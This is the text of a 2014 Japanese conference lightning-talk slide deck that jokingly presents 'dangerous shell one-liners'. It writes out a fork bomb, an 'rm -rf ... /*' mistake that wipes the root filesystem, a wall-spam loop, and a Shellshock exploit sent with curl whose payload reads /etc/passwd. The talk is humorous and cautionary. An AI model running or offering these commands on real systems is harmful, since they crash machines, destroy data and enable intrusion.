20141019 osc tokyo/fall lt 【危険シェル芸】

34
第1第 第第第第第第第第第 USP 第第第 第第第

Upload: ryuichi-ueda

Post on 24-May-2015

10.668 views

Category:

Technology


1 download

DESCRIPTION

#危険

TRANSCRIPT

Page 1: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

第 1 回危険シェル芸勉強会

USP 友の会上田隆一

Page 2: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

みなさんOSC お疲れさまでした

2014/10/19 OSC Tokyo/Fall 2014 2

Page 3: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

しかし本日はここからが本番です

2014/10/19 OSC Tokyo/Fall 2014 3

Page 4: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

第 1 回危険シェル芸勉強会を勝手に開催致します

2014/10/19 OSC Tokyo/Fall 2014 4

Page 5: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

危険シェル芸とは• マウスも使わず、ソースコードも残さず、

GUI ツールを立ち上げる間もなく、

あらゆる破壊・迷惑・自滅行為を

CLI 端末へのコマンド入力一撃で終わらすこと。

2014/10/19 OSC Tokyo/Fall 2014 5

http://blog.ueda.asia/?page_id=3752

Page 6: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

思い出す夏の危険シェル芸騒動

togetter より

大炎上 65000PV

首謀者 1

首謀者 22014/10/19 OSC Tokyo/Fall 2014 6

Page 7: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

戦果(?)• 初日だけで見知らぬ方のマシン 3 台轟沈

• その他自爆者多数

• Docker 上で試したらホストマシン沈黙の報告

• 自分の本がサイト経由で 1 冊だけ売れた

• フォロワーが 1 人減った2014/10/19 OSC Tokyo/Fall 2014 7

Page 8: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

本日はこの中から特に危険なのを勉強

ちゃんとマスターしましょう

2014/10/19 OSC Tokyo/Fall 2014 8

Page 9: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

ということで Let's try!!!

2014/10/19 OSC Tokyo/Fall 2014 9

Page 10: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

ひとつめ

:(){: | : &};:

2014/10/19 OSC Tokyo/Fall 2014 10

Page 11: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

:(){: | : &};:

• いわゆるフォーク爆弾

• 関数「 : 」のプロセスがマシンに溢れて再起不能

• Docker 越しにホストを葬る殺傷力

2014/10/19 OSC Tokyo/Fall 2014 11

つまり一言で言うと・・・

Page 12: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

危険2014/10/19 OSC Tokyo/Fall 2014 12

Page 13: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

ふたつめ• シェルスクリプトにて

2014/10/19 OSC Tokyo/Fall 2014 13

rm -rf temp /* テンポラリを削除 */

出典 : @moguno さんより

Page 14: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

rm -rf temp /* テンポラリを削除 */

• 消えるのは temp と /*

• シェルスクリプトのコメントアウトは

#

2014/10/19 OSC Tokyo/Fall 2014 14

覚えておきたいのは・・・

Page 15: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

2014/10/19 OSC Tokyo/Fall 2014 15

危険

Page 16: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

みっつめ

2014/10/19 OSC Tokyo/Fall 2014 16

# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done

出典 : @ryoana14 さんより

Page 17: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done

• 誰も端末使えないぞ!

• すごいポンポン言う!

2014/10/19 OSC Tokyo/Fall 2014 17

即ち・・・

Page 18: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

迷惑2014/10/19 OSC Tokyo/Fall 2014 18

アーンド

Page 19: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

2014/10/19 OSC Tokyo/Fall 2014 19

危険

Page 20: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

世界は危険に飢えている発言

2014/10/19 OSC Tokyo/Fall 2014 20

Page 21: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

そんなある日、一つのワンライナーが

Twitterに出回る

2014/10/19 OSC Tokyo/Fall 2014 21

Page 22: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

2014/10/19 OSC Tokyo/Fall 2014 22

Page 23: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

2014/10/19 OSC Tokyo/Fall 2014 23

Page 24: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

2014/10/19 OSC Tokyo/Fall 2014 24

!?

Page 25: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3'

http://localhost/index.php

2014/10/19 OSC Tokyo/Fall 2014 25

Page 26: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

2014/10/19 OSC Tokyo/Fall 2014 26

Page 27: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

あかんやろ2014/10/19 OSC Tokyo/Fall 2014 27

Page 28: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

危険シェル芸で遊んでいたらシェルが危険だった

2014/10/19 OSC Tokyo/Fall 2014 28

Page 29: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

Shellshock 後の世界

2014/10/19 OSC Tokyo/Fall 2014 29

私の

Page 30: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

自著が危険書物扱い

2014/10/19 OSC Tokyo/Fall 2014 30

※ フォローしておくと , bash を使ってますがコマンド・ファイル・パイプが主眼で bash どっぷりというわけでもない本デス

Page 31: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

なぜか安否を確認される

2014/10/19 OSC Tokyo/Fall 2014 31

Page 32: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

なぜか原稿を依頼される(焼け太り)

2014/10/19 OSC Tokyo/Fall 2014 32

Page 33: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

結論• 危険シェル芸は危険• Shellshock は危険• 人生は危険

• 安全な方が精神的・肉体的によい– 「世界は危険に飢えている」なんて言って

ごめんなさいごめんなさいごめんなさいごめんなさいごぬんなさい!

2014/10/19 OSC Tokyo/Fall 2014 33

Page 34: 20141019 OSC Tokyo/Fall LT 【危険シェル芸】

以上。

2014/10/19 OSC Tokyo/Fall 2014 34